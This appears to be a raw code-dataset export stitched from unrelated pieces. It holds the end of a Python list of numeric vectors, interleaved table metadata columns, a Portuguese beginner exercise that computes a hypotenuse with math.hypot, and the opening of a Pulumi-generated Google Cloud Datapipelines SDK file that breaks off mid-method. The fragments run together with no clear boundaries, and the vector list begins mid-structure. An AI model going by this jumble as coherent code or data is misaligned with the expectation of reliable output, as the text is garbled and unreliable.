[0.0, 0.03906, -0.06556, 0.17389, 0.16276, -0.24917, -0.1159, 0.17753, 0.10463, -0.14208, -0.18727, 0.00388, 0.23985, 0.05015, -0.42622, -0.16167, 0.38398, 0.20995, -0.06857, -0.07297, -0.18029, -0.28328, 0.13293, 0.22378, 0.12865, -0.15495, -0.03145, 0.23371, 0.30764, 0.00851, -0.15423, -0.1301, 0.05331, 0.0919, 0.11041, -0.11999, 0.05587, 0.22864, 0.2378, 0.07378, -0.0556, -0.08079, -0.08108, 0.07392, 0.18465, 0.10526, -0.14929, -0.17893, -0.14958, -0.01388, 0.24239, 0.04025, -0.18767, -0.15833, -0.13382, -0.00937, -0.03351, -0.15952, -0.10765, -0.17486, -0.21461, -0.06897, -0.02239, -0.09492, 0.01995, -0.09735, -0.06147, 0.04455, -0.11941, 0.0459, 0.15197, 0.01779, 0.04033, -0.00794, 0.03812, 0.01506, -0.05154, 0.11173, 0.09465, -0.178, -0.02879, -0.0575, -0.00381, -0.14629, 0.06342, 0.03766, -0.02135, -0.15757, -0.14087, 0.02753, -0.0676, -0.006, 0.01719, 0.04469, -0.06529, 0.10884, 0.01631, -0.00801, 0.01276, 0.03973, 0.03877, -0.12739, -0.04038, -0.03514, -0.01149, 0.16042, -0.00992, -0.01852, 0.00421, 0.03087, 0.07352, -0.07566, 0.17139, 0.22493, -0.01503, 0.11573, 0.0591, -0.08588, 0.1133, -0.08036, 0.09405, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.18926, 0.16882, -0.01872, -0.25794, 0.10486, 0.2242, -0.07926, -0.19253, 0.22208, 0.31125, 0.01094, -0.24566, 0.02975, 0.38128, 0.22806, -0.23247, -0.27183, 0.0134, 0.1392, 0.15532, 0.16026, 0.08001, -0.16705, -0.04643, 0.10047, 0.11178, -0.07572, -0.26005, -0.05939, 0.12538, 0.16229, -0.10892, -0.18412, -0.13824, 0.1887, -0.02339, -0.20306, -0.22801, -0.12733, -0.04156, 0.10446, -0.04854, -0.22671, -0.1977, -0.01802, 0.15884, 0.14582, 0.18587, 0.15974, -0.16822, -0.17714, 0.02724, 0.18472, -0.01771, 0.09144, 0.13232, 0.18036, 0.18043, 0.14841, 0.17144, 0.01769, -0.02871, 0.06939, 0.23221, 0.06853, 0.02014, -0.04818, 0.0096, -0.04149, -0.00874, 0.04806, 0.16341, -0.03097, -0.0219, -0.0647, 0.02281, 0.05424, -0.03778, -0.06347, 0.05943, 0.17949, 0.27331, 0.20357, 0.17308, 0.05367, 0.08357, -0.02565, 0.01374, -0.06425, 0.15125, -0.01845, -0.00762, -0.21958, -0.13306, -0.08744, -0.06747, 0.00561, -0.02284, -0.17738, -0.19735, -0.0972, -0.07175, 0.12097, 0.00912, 0.07988, 0.1214, -0.02761, 0.02526, -0.08763, 0.04758, 0.14815, -0.06865, -0.06312, -0.04594, 0.08461, 0.02608, -0.00134, -0.00505, 0.00903, -0.08861, -0.01365, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.17282, 0.00616, -0.08447, 0.29711, -0.00191, -0.22655, 0.01786, 0.21929, -0.08389, -0.16652, -0.11097, 0.11903, 0.07892, -0.21592, -0.08604, 0.13422, 0.25418, 0.03952, -0.20257, -0.09573, -0.1034, -0.21099, 0.10784, -0.02142, -0.10309, -0.20835, 0.04398, 0.22915, 0.11871, -0.07482, -0.13107, 0.08628, 0.16116, 0.21904, -0.065, -0.0821, 0.02681, 0.21328, 0.08621, -0.03194, -0.10219, 0.16157, 0.29596, 0.24339, 0.15238, 0.06387, -0.18238, -0.1965, -0.15354, -0.02363, 0.21211, 0.1383, -0.03659, -0.0282, -0.20713, -0.07451, -0.11532, -0.15327, -0.04016, -0.13048, -0.21476, -0.03161, 0.0102, -0.16666, -0.02713, -0.04859, 0.00888, 0.01992, -0.04265, -0.00796, 0.04927, -0.02704, 0.05242, 0.15595, 0.12293, 0.00485, -0.1969, -0.03179, 0.04299, -0.12577, -0.22753, -0.19189, -0.15984, -0.2224, 0.03964, 0.0642, -0.02653, -0.01166, -0.06349, -0.13702, -0.06647, 0.00446, -0.1099, -0.12004, -0.07012, 0.05835, 0.00092, -0.02717, 0.06772, 0.1155, 0.07332, 0.04606, -0.16896, -0.26965, -0.08047, -0.17633, 0.06077, 0.00025, 0.15245, 0.14333, 0.08997, -0.04969, -0.01767, 0.13838, 0.03612, 0.02885, 0.0555, 0.02033, 0.11373, 0.06508, 0.03702, -0.01203, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.22074, -0.01401, 0.14385, -0.13632, -0.02385, 0.12655, 0.04085, -0.2548, -0.06548, 0.2665, 0.10326, -0.11384, -0.14491, 0.23776, 0.21397, -0.01647, -0.21292, -0.03666, 0.12864, 0.11941, 0.10527, 0.07486, -0.02351, 0.0446, 0.13758, 0.19316, -0.01542, -0.11581, -0.16376, 0.14921, 0.12512, 0.07916, -0.11728, -0.12317, 0.00986, 0.10777, -0.01283, -0.22682, -0.10894, -0.01473, 0.02505, -0.07212, -0.25716, -0.35309, -0.26689, -0.04001, 0.18553, 0.11149, 0.14513, 0.08255, -0.06315, -0.1169, 0.01958, 0.14094, 0.15006, 0.01634, 0.0704, 0.23577, 0.14972, 0.19971, 0.11072, 0.07542, -0.01757, -0.01975, 0.10416, 0.1964, 0.04972, 0.02201, 0.03177, 0.03157, -0.00174, -0.02024, -0.03891, -0.09626, -0.14945, -0.11023, 0.12644, 0.18229, 0.01576, -0.07571, -0.09968, 0.31421, 0.17367, 0.20499, -0.07431, -0.04384, 0.16927, -0.07417, -0.08154, 0.00137, 0.08475, -0.13803, 0.00818, -0.10119, 0.06098, -0.12273, -0.13512, 0.07052, 0.03739, -0.13748, -0.12002, -0.01814, 0.1098, 0.1892, 0.03074, 0.16636, 0.01386, -0.01743, -0.05769, -0.09264, -0.00308, 0.13963, 0.07751, -0.18065, 0.01118, 0.1157, -0.08675, -0.08577, 0.11371, 0.0269, 0.17549, -0.02469, 0.07236, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.13724, 0.0732, -0.14371, 0.02505, 0.11669, -0.09135, -0.10104, 0.22136, 0.18664, -0.21848, -0.10439, 0.07693, 0.12242, -0.09375, -0.18104, 0.14956, 0.17557, 0.1961, -0.05422, -0.26136, -0.06485, -0.04662, 0.0011, 0.0002, -0.13895, -0.21594, -0.0823, 0.12741, 0.19191, -0.10895, -0.17992, -0.16884, 0.09554, 0.15619, 0.01908, -0.06532, -0.02599, 0.15386, 0.27495, -0.00328, -0.09431, -0.08935, 0.18647, 0.40636, 0.2965, 0.02515, -0.04273, -0.09905, -0.01333, -0.13675, -0.02703, 0.07445, -0.03677, -0.02227, 0.03779, -0.02464, 0.05131, -0.0928, -0.16094, -0.04581, -0.04499, -0.00849, -0.0554, 0.06999, -0.01977, -0.09444, -0.08773, 0.00645, -0.02447, -0.05844, 0.04741, 0.11272, -0.05107, 0.07582, 0.04916, 0.04359, -0.13191, -0.29349, -0.10695, 0.01564, 0.01407, -0.06468, -0.03368, 0.02488, -0.23032, 0.02306, -0.05827, 0.00075, -0.09236, 0.05604, -0.02511, -0.0778, -0.08859, -0.18457, -0.18153, 0.00924, 0.10149, -0.034, -0.01856, 0.01342, 0.10417, 0.08617, 0.14766, -0.02943, -0.00293, -0.07288, 0.09596, 0.02018, -0.0536, 0.14858, 0.03962, -0.08832, -0.01969, -0.10525, 0.05654, -0.03979, -0.046, 0.08735, -0.01006, -0.07804, 0.1734, 0.10811, -0.04382, -0.1079, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.119, 0.022, 0.05517, 0.01828, -0.08866, 0.16088, 0.1384, -0.14515, -0.14127, 0.13765, 0.07167, -0.09416, -0.14578, 0.0267, 0.20759, -0.10135, -0.23535, -0.17646, 0.08282, 0.19096, 0.17275, 0.07582, -0.06872, 0.01138, 0.07908, 0.21964, 0.20903, -0.07468, -0.21352, -0.03498, 0.19771, 0.15451, -0.07279, -0.13302, -0.04955, 0.14808, 0.05698, -0.12239, -0.28302, -0.03541, 0.08776, 0.13681, -0.12779, -0.31011, -0.36013, -0.15193, -0.03646, -0.05611, -0.07479, 0.0221, -0.0249, -0.10709, 0.00194, -0.07878, 0.01119, 0.03654, -0.10186, 0.00892, 0.106, 0.08618, 0.09491, 0.08006, 0.11377, 0.06828, -0.07168, -0.04561, 0.09225, 0.04902, 0.04171, 0.10833, 0.04396, -0.04064, 0.00732, 0.01968, -0.02411, -0.00055, 0.07179, 0.27809, 0.19658, 0.06343, -0.15658, -0.11446, 0.00722, 0.09582, 0.14752, -0.16244, -0.06572, 0.15234, 0.01727, -0.02107, -0.0918, -0.09735, -0.13106, 0.039, -0.13966, -0.05789, -0.06133, 0.02279, 0.07874, 0.00729, -0.08406, -0.13459, -0.10945, -0.0546, 0.2148, 0.05149, 0.08496, 0.17064, 0.09464, -0.00171, 0.05525, 0.01518, 0.08169, 0.06309, 0.02391, -0.00519, 0.09874, -0.1541, -0.11454, -0.02087, 0.13088, -0.15952, 0.07516, 0.03214, -0.13218, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.12907, 0.08856, -0.0512, -0.01951, 0.06957, -0.10008, -0.22479, 0.02486, 0.28336, -0.03078, -0.16787, 0.00873, 0.06364, -0.00911, -0.07389, 0.13277, 0.21998, 0.11606, 0.03091, -0.18026, -0.22113, -0.01306, 0.0665, -0.0155, -0.01575, -0.06526, -0.18242, 0.03013, 0.16351, 0.1004, -0.17631, -0.26122, -0.01738, 0.23005, 0.1269, -0.08279, -0.10589, 0.04557, 0.24295, 0.19143, -0.12373, -0.1413, -0.01748, 0.18518, 0.3783, 0.20608, -0.01514, -0.00851, 0.03274, -0.02734, -0.0548, 0.06253, 0.02575, -0.06888, -0.0944, -0.0179, 0.0335, 0.13095, -0.02985, -0.08072, -0.13795, -0.03847, -0.06619, 0.0391, 0.13698, 0.12593, -0.05433, -0.05382, -0.03675, 0.01519, 0.01087, 0.0375, 0.10772, 0.01554, 0.01773, -0.0927, -0.00123, -0.14062, -0.22234, -0.12189, 0.04222, 0.09605, -0.05798, 0.04817, -0.01411, -0.03853, -0.09465, -0.17559, -0.07218, 0.02437, 0.25, 0.19662, 0.10406, -0.22556, -0.12103, -0.19589, 0.08673, 0.06005, 0.0197, 0.10854, -0.14237, -0.02692, -0.08877, 0.10477, -0.01955, -0.02826, 0.0137, 0.03466, 0.13404, -0.02762, -0.06824, -0.0055, -0.18182, -0.01286, -0.03398, 0.02621, 0.0125, 0.06325, 0.00731, -0.0196, 0.05004, -0.0063, 0.03854, -0.12701, 0.00932, 0.02411, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.14838, 0.02454, 0.04701, -0.03682, -0.0342, 0.01758, 0.2055, -0.00373, -0.20539, 0.0833, 0.11323, -0.00025, -0.04827, 0.05913, 0.09484, -0.00198, -0.183, -0.12999, -0.06805, 0.07373, 0.10035, 0.05678, -0.05294, -0.03908, -0.00732, -0.03233, 0.13516, 0.07575, -0.01941, -0.07215, 0.07481, 0.2509, 0.09887, -0.18542, -0.23172, -0.01967, 0.13296, 0.03277, -0.18933, -0.21522, 0.09863, 0.13712, 0.084, -0.13796, -0.33047, -0.24719, 0.05614, 0.01595, -0.08727, -0.14296, 0.04787, -0.05445, -0.06177, -0.05411, 0.00416, 0.01188, -0.03235, -0.14469, -0.0353, 0.08152, 0.12703, 0.11646, 0.01752, 0.02253, -0.00011, -0.06471, -0.04787, 0.02762, 0.10297, 0.04169, -0.00239, -0.00203, -0.02994, 0.03473, -0.06871, 0.09851, -0.00984, 0.10781, 0.19726, 0.11562, -0.00267, 0.02559, 0.07558, 0.10735, -0.05712, -0.11089, -0.12332, 0.07664, 0.09588, -0.04351, -0.18312, -0.05968, -0.07094, -0.02166, -0.03177, -0.00238, -0.14468, -0.13669, -0.061, 0.04314, 0.20318, 0.01589, 0.02653, -0.09515, 0.02145, 0.08021, 0.02965, 0.15012, 0.09501, 0.10368, 0.12809, -0.008, 0.13359, -0.09547, 0.09402, 0.01911, 0.02647, 0.08081, -0.0915, 0.00406, 0.03794, -0.04598, -0.11726, -0.09834, 0.09721, -0.20718, -0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.11821, 0.16115, 0.02134, 0.05785, 0.02959, 0.12744, -0.15307, -0.08975, 0.21746, 0.03661, -0.16494, -0.07821, 0.12801, -0.06682, -0.12271, -0.0378, 0.21493, 0.13754, 0.12641, 0.00251, -0.10425, -0.1227, 0.0566, 0.07062, -0.03819, 0.03666, -0.02625, -0.10514, -0.00613, 0.12446, 0.02437, -0.25648, -0.24457, 0.13344, 0.22967, 0.05146, -0.11379, -0.07839, 0.04066, 0.17485, -0.00269, -0.08658, -0.06297, 0.10947, 0.23193, 0.22798, -0.00034, -0.03873, 0.08712, 0.08965, -0.12351, -0.07575, 0.00567, 0.04924, -0.00916, -0.03006, -0.06619, 0.04507, 0.06148, -0.08155, -0.07634, -0.11195, -0.06036, 0.11769, -0.0405, 0.04719, 0.02479, -0.05918, 0.00325, -0.05251, 0.0529, -0.00826, 0.03666, -0.01834, 0.08768, -0.05637, -0.03555, -0.02582, -0.01163, -0.0225, 0.00694, 0.01074, -0.04793, -0.00151, 0.07257, 0.11967, 0.00836, -0.08437, -0.112, -0.03695, -0.01342, 0.11511, 0.04768, -0.01772, -0.00309, -0.1004, -0.00783, 0.05986, 0.15467, 0.15623, -0.13507, -0.07453, -0.04615, -0.08258, 0.01305, -0.06836, 0.07323, -0.15754, 0.04481, 0.12739, 0.00346, -0.0016, -0.20819, -0.18727, -0.00591, -0.09127, 0.14085, -0.01356, 0.07085, -0.08958, 0.02101, 0.04564, 0.10074, -0.08415, 0.03633, -0.03194, -0.03108, -0.05205, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.16823, -0.08476, -0.04932, 0.01595, 0.02533, -0.141, 0.09884, 0.09949, -0.05543, -0.04081, 0.108, -0.00517, -0.14106, 0.10163, 0.17329, 0.13056, -0.19149, -0.10482, -0.08343, -0.01845, 0.10622, 0.06192, -0.10567, -0.04646, 0.02881, 0.00707, -0.00657, 0.04816, 0.02646, -0.08346, -0.01358, 0.14738, 0.23801, -0.01826, -0.19076, -0.06044, 0.0555, 0.13121, 0.02615, -0.10355, -0.1028, 0.04826, 0.06893, -0.07118, -0.1703, -0.15036, -0.06181, 0.03113, 0.03037, -0.07268, -3e-05, 0.07056, 0.06583, -0.00836, -0.01939, -0.01248, 0.11165, 0.04141, -0.09587, 0.06904, 0.03923, 0.13255, 0.19205, 0.09542, 0.0533, 0.1152, 0.0123, 0.02296, -0.02726, 0.12247, 0.0079, -0.01146, -0.11008, -0.0022, -0.05232, -0.05251, 0.11072, 0.03606, -0.0097, 0.00738, -0.0583, -0.05937, 0.03171, 0.05271, 0.12051, -0.00183, -0.11827, -0.05687, 0.09454, 0.18897, 0.08103, -0.15883, -0.10085, -0.03752, -0.03238, -0.01048, -0.01944, -0.04056, -0.1432, -0.16566, 0.04109, 0.11975, 0.0051, 0.03521, -0.10545, -0.00592, -0.10987, 0.16241, 0.05079, -0.06408, -0.0121, -0.03317, 0.18196, 0.20248, -0.00489, 0.03826, -0.00709, -0.06977, 0.02357, -0.05055, -0.10482, 0.11772, 0.07846, -0.03692, -0.06593, 0.01458, -0.00564, -0.0814, 0.01011, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.09843, 0.06268, 0.05661, 0.00336, -0.00498, 0.00792, 0.02203, -0.08132, 0.10621, 0.13471, -0.09551, -0.1047, 0.0659, 0.05819, -0.12139, -0.14571, 0.13065, 0.17185, -0.0222, -0.01028, 0.01005, -0.07496, 0.10414, 0.03195, -0.01358, -0.05015, 0.04191, 0.06352, -0.00656, 0.03488, 0.02737, -0.06831, -0.19136, -0.08647, 0.15914, 0.05021, -0.12647, -0.08329, 0.03455, 0.05089, -0.01649, -0.08877, -0.03592, 0.04264, 0.17749, 0.06891, -0.04693, -0.07449, 0.00638, 0.11679, 0.0778, -0.0959, -0.08226, -0.01528, 0.00252, -0.01985, -0.06081, -0.06582, 0.05357, -0.01233, -0.02214, -0.09531, -0.17161, -0.0993, -0.01029, -0.03834, -0.0124, -0.11544, -0.08744, -0.01673, -0.02748, 0.00168, 0.06555, 0.08501, 0.02276, 0.08531, -0.05886, -0.03343, -0.05097, 0.07264, 0.08682, 0.11047, 0.0465, -0.03874, -0.115, 0.03709, -0.03064, -0.04752, -0.03902, -0.07365, -0.08342, 0.10768, 0.08954, 0.00546, -0.05934, -0.05885, 0.0481, -0.03505, 0.00043, 0.00433, 0.02414, -0.05614, -0.02675, -0.02452, -0.012, -0.0253, 0.10422, -0.05615, 0.04535, 0.09025, 0.10526, 0.14875, -0.07972, -0.12881, 0.02697, 0.03585, 0.03623, 0.01308, -0.00614, 0.03516, 0.08128, -0.14892, -0.07301, -0.06795, 0.08161, -0.07464, -0.00156, -0.00534, -0.25228, -0.07363, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.04703, 0.0398, -0.08735, -0.06155, 0.08718, 0.03057, -0.05938, 0.08014, -0.03902, -0.08924, 0.1371, 0.097, -0.08872, -0.09011, 0.11558, 0.17542, -0.05552, -0.12582, -0.02453, -0.01225, 0.04782, 0.10526, -0.10548, -0.00581, 0.03157, 0.04353, -0.03295, -0.06889, -0.00521, -0.04236, -0.02612, 0.0643, 0.1152, 0.16671, -0.11646, -0.07995, 0.06593, 0.07714, -0.01076, 0.01095, -0.01486, 0.0279, 0.0222, 0.01126, -0.12146, -0.12376, 0.10591, 0.08113, -0.02703, -0.07532, -0.06279, 0.0168, 0.00657, 0.03648, 0.07334, 0.0225, 0.05997, 0.13096, -0.01123, -0.03417, 0.0449, 0.0812, 0.12931, 0.17182, 0.11938, 0.04418, 0.0078, -0.00217, 0.07061, 0.02483, 0.12257, -0.01024, -0.12053, -0.16243, 0.06619, -0.09971, -0.05381, 0.07164, 0.05697, 0.03233, -0.00862, -0.08022, -0.09332, -0.01021, -0.02008, 0.0912, 0.02595, 0.0366, -0.02425, 0.13883, 0.11245, 0.08482, -0.0281, -0.05315, 0.07914, 0.03622, -0.08313, 0.03685, 0.07972, -0.05282, -0.06221, 0.05147, 0.02203, -0.03601, 0.00804, -0.04288, -0.06779, -0.00773, 0.12519, 0.00256, -0.09499, -0.16149, -0.04538, -0.03621, 0.19639, 0.07367, 0.09762, 0.07206, -0.0152, -0.0346, -0.09222, -0.05311, 0.12235, 0.04819, -0.18725, -0.00713, 0.0732, -0.0427, -0.0125, 0.18539, 0.08542, 0.0, 0.0, 0.0, ],
[0.0, 0.02876, 0.04677, 0.06119, 0.09143, 0.02438, -0.01033, 0.00784, -0.05549, 0.09212, 0.12152, -0.10842, -0.15598, 0.05455, 0.09494, -0.02503, -0.08966, -0.01778, 0.10544, 0.05873, -0.05063, -0.03868, -0.05967, 0.06181, 0.05172, -0.07516, -0.03907, -0.00501, 0.09697, 0.10666, 0.09633, 0.03457, -0.06426, -0.06213, -0.16328, 0.07474, 0.13414, -0.03573, -0.1736, -0.07252, 0.0513, 0.00324, -0.1156, -0.11762, -0.03233, 0.04038, 0.18372, 0.00584, -0.12287, -0.04326, 0.06437, 0.15088, 0.05402, -0.08324, -0.08155, -0.08519, -0.05919, -2e-05, -0.14849, -0.0377, 0.05276, -0.01305, -0.03205, -0.0946, -0.0913, -0.13076, -0.00349, -0.06338, 0.01921, -0.08153, -0.03461, -0.00042, 0.04242, 0.03964, 0.10528, -0.00778, 0.00549, 0.02393, -0.01159, 0.05462, -0.02965, 0.03384, 0.1039, 0.15907, 0.02807, 0.02148, -0.0495, -0.00347, -0.05721, -0.09706, -0.02854, -0.11649, -0.02307, -0.07511, -0.03235, -0.05284, -0.14209, -0.03569, 0.042, -0.00361, -0.05341, -0.0627, 0.02978, 0.01399, 0.01693, -0.04142, -0.05857, -0.15571, -0.12237, -0.1144, 0.0675, 0.10089, 0.20181, 0.04385, 0.02832, -0.09552, -0.03108, 0.05268, -0.03728, -0.02859, 0.05314, 0.01597, 0.04956, -0.06613, -0.07841, -0.10894, -0.01524, 0.00071, 0.01163, -0.02641, -0.15279, -0.08879, -0.01401, 0.0, 0.0, ],
[0.0, -0.01675, 0.03365, -0.02792, -0.07133, -0.0673, 0.009, 0.06102, 0.01467, 0.04763, -0.09098, 0.01601, 0.12655, -0.05973, -0.07554, 0.00101, 0.12453, 0.03006, -0.03742, 0.02917, -0.01498, 0.00208, 0.08156, -0.03716, -0.09522, 0.02149, 0.03962, 0.01427, -0.09624, -0.11829, -0.1033, -0.06975, 0.06321, 0.08668, 0.10646, 0.01236, -0.10505, -0.00876, 0.16391, 0.17298, 0.03144, -0.01816, 0.06766, 0.11754, 0.03834, -0.03279, -0.11852, -0.08266, 0.11634, 0.07895, -0.0401, -0.12706, -0.09947, 0.09261, 0.02948, -0.03826, 0.01653, -0.03572, 0.00467, 0.04747, -0.04112, -0.07158, 0.01556, 0.10846, 0.11734, 0.13431, 0.09771, 0.04465, -0.04801, 0.00498, 0.04128, 0.0205, 0.0962, -0.01269, -0.04242, -0.07412, -0.00389, -0.00313, -0.09134, -0.05039, 0.02447, 0.00123, 0.04756, -0.10823, 0.0083, -0.04547, -0.0464, -0.06297, 0.01564, 0.05744, 0.09931, 0.07005, 0.02679, 0.13401, 0.06899, 0.03786, 0.06296, 0.07212, -0.09498, -0.01142, -0.03047, -0.01732, -0.09313, -0.03153, 0.0338, -0.0062, -0.02627, 0.02555, 0.11463, -0.01063, -0.10637, -0.04506, -0.10615, -0.03216, -0.05006, -0.06548, 0.02582, 0.06676, 0.00831, 0.05684, 0.05972, 0.01867, -0.01847, -0.06465, 0.03124, 0.06373, 0.0071, 0.04147, 0.03731, -0.09357, -0.14005, 0.06715, 0.0842, 0.08255, 0.0, ],
[0.0, -0.00844, 0.02619, 0.04699, 0.05321, 0.06913, -0.01571, 0.04031, 0.01788, -0.04175, 0.13261, 0.05407, -0.15857, -0.01909, 0.04945, 0.00565, -0.08107, 0.02767, 0.05448, -0.03635, -0.06565, -0.05378, -0.06417, 0.00415, 0.16294, 0.02724, -0.07803, -0.06459, 0.07266, 0.08208, 0.11391, 0.05366, -0.06485, -0.11165, -0.04047, -0.02953, 0.06767, 0.05259, -0.06376, -0.14385, -0.14221, -0.01937, -0.02788, -0.11072, -0.04462, -0.003, 0.00503, 0.10707, -0.04364, -0.11775, -0.0377, 0.02452, 0.1701, 0.00913, -0.01147, 0.01015, 0.02599, 0.06052, -0.00218, -0.04429, -0.03891, 0.00444, -0.03225, -0.0173, -0.09872, -0.0892, -0.06903, -0.07748, 0.02574, 0.00107, -0.06888, 0.01887, -0.04962, -0.034, 0.02648, 0.03484, 0.04912, 0.03213, -0.00719, 0.08471, 0.05851, 0.04009, -0.11097, -0.00178, 0.00791, 0.00673, 0.04014, 0.01584, 0.06952, -0.03039, -0.05125, -0.1179, -0.03819, -0.12233, 0.06749, 0.03456, -0.02092, -0.03426, 0.02538, 0.12073, 0.0242, 0.03533, -0.13139, 0.02662, -0.04349, 0.00857, 0.01931, -0.01057, -0.15476, -0.01576, 0.04189, 0.0344, 0.02443, 0.00378, 0.01113, 0.00558, -0.04184, -0.04901, 0.0494, 0.11032, -0.03473, -0.11145, -0.11351, 0.0218, -0.02304, -0.03787, -0.15172, 0.00869, 0.04001, -0.00163, 0.01104, -0.03348, -0.05628, -0.04641, 0.03121, ],
])
| 951.032491
| 1,277
| 0.546061
| 72,910
| 263,436
| 1.973008
| 0.215745
| 0.505812
| 0.753128
| 0.996719
| 0.255506
| 0.255436
| 0.255436
| 0.255339
| 0.255339
| 0.255214
| 0
| 0.634363
| 0.139438
| 263,436
| 276
| 1,278
| 954.478261
| 0.000176
| 0
| 0
| 0.007326
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.003663
| 0
| 0.003663
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
1a3419d9a369b6178fead14fb5ba597f06af7429
| 991
|
py
|
Python
|
ExerciciosPythonMundo1/ex017.py
|
JamesonSantos/Curso-Python-Exercicios-Praticados
|
1fc1618ccf8692a552bac408e842dea8328e4e1a
|
[
"MIT"
] | null | null | null |
ExerciciosPythonMundo1/ex017.py
|
JamesonSantos/Curso-Python-Exercicios-Praticados
|
1fc1618ccf8692a552bac408e842dea8328e4e1a
|
[
"MIT"
] | null | null | null |
ExerciciosPythonMundo1/ex017.py
|
JamesonSantos/Curso-Python-Exercicios-Praticados
|
1fc1618ccf8692a552bac408e842dea8328e4e1a
|
[
"MIT"
] | null | null | null |
'''
n1 = float(input('Comprimento do cateto oposto: '))
n2 = float(input('Comprimento do cateto adjacente: '))
hi = (n1 ** 2 + n2 ** 2) ** (1/2)
print('A hipotenusa vai medir {:.2f}'.format(hi))
'''
'''
from math import hypot
n1 = float(input('Comprimento do cateto oposto: '))
n2 = float(input('Comprimento do cateto adjacente: '))
hi = hypot(n1, n2)
print('A hipotenusa vai medir {:.2f}'.format(hi))
'''
'''
import math
n1 = float(input('Comprimento do cateto oposto: '))
n2 = float(input('Comprimento do cateto adjacente: '))
hi = math.hypot(n1, n2)
print('A hipotenusa vai medir {:.2f}'.format(hi))
'''
'''import math
n1 = float(input('Comprimento do cateto oposto: '))
n2 = float(input('Comprimento do cateto adjacente: '))
print('A hipotenusa vai medir {:.2f}'.format(math.hypot(n1, n2)))'''
from math import hypot
n1 = float(input('Comprimento do cateto oposto: '))
n2 = float(input('Comprimento do cateto adjacente: '))
print('A hipotenusa vai medir {:.2f}'.format(hypot(n1,n2)))
| 30.96875
| 68
| 0.673058
| 143
| 991
| 4.664336
| 0.160839
| 0.149925
| 0.314843
| 0.344828
| 0.949025
| 0.949025
| 0.949025
| 0.949025
| 0.898051
| 0.898051
| 0
| 0.033918
| 0.137235
| 991
| 32
| 69
| 30.96875
| 0.746199
| 0.191726
| 0
| 0
| 0
| 0
| 0.464646
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0.25
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
1a61bd5bc6b148086ab84959cb33ffd12946203c
| 45,018
|
py
|
Python
|
sdk/python/pulumi_google_native/datapipelines/v1/outputs.py
|
AaronFriel/pulumi-google-native
|
75d1cda425e33d4610348972cd70bddf35f1770d
|
[
"Apache-2.0"
] | 44
|
2021-04-18T23:00:48.000Z
|
2022-02-14T17:43:15.000Z
|
sdk/python/pulumi_google_native/datapipelines/v1/outputs.py
|
AaronFriel/pulumi-google-native
|
75d1cda425e33d4610348972cd70bddf35f1770d
|
[
"Apache-2.0"
] | 354
|
2021-04-16T16:48:39.000Z
|
2022-03-31T17:16:39.000Z
|
sdk/python/pulumi_google_native/datapipelines/v1/outputs.py
|
AaronFriel/pulumi-google-native
|
75d1cda425e33d4610348972cd70bddf35f1770d
|
[
"Apache-2.0"
] | 8
|
2021-04-24T17:46:51.000Z
|
2022-01-05T10:40:21.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
from . import outputs
from ._enums import *
__all__ = [
'GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse',
'GoogleCloudDatapipelinesV1LaunchFlexTemplateParameterResponse',
'GoogleCloudDatapipelinesV1LaunchFlexTemplateRequestResponse',
'GoogleCloudDatapipelinesV1LaunchTemplateParametersResponse',
'GoogleCloudDatapipelinesV1LaunchTemplateRequestResponse',
'GoogleCloudDatapipelinesV1RuntimeEnvironmentResponse',
'GoogleCloudDatapipelinesV1ScheduleSpecResponse',
'GoogleCloudDatapipelinesV1WorkloadResponse',
]
@pulumi.output_type
class GoogleCloudDatapipelinesV1FlexTemplateRuntimeEnvironmentResponse(dict):
"""
The environment values to be set at runtime for a Flex Template.
"""
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "additionalExperiments":
suggest = "additional_experiments"
elif key == "additionalUserLabels":
suggest = "additional_user_labels"
elif key == "enableStreamingEngine":
suggest = "enable_streaming_engine"
elif key == "flexrsGoal":
suggest = "flexrs_goal"
elif key == "ipConfiguration":
suggest = "ip_configuration"
elif key == "kmsKeyName":
suggest = "kms_key_name"
elif key == "machineType":
suggest = "machine_type"
elif key == "maxWorkers":
suggest = "max_workers"
elif key == "numWorkers":
suggest = "num_workers"
elif key == "serviceAccountEmail":
suggest = "service_account_email"
elif key == "tempLocation":
suggest = "temp_location"
elif key == "workerRegion":
suggest = "worker_region"
elif key == "workerZone":
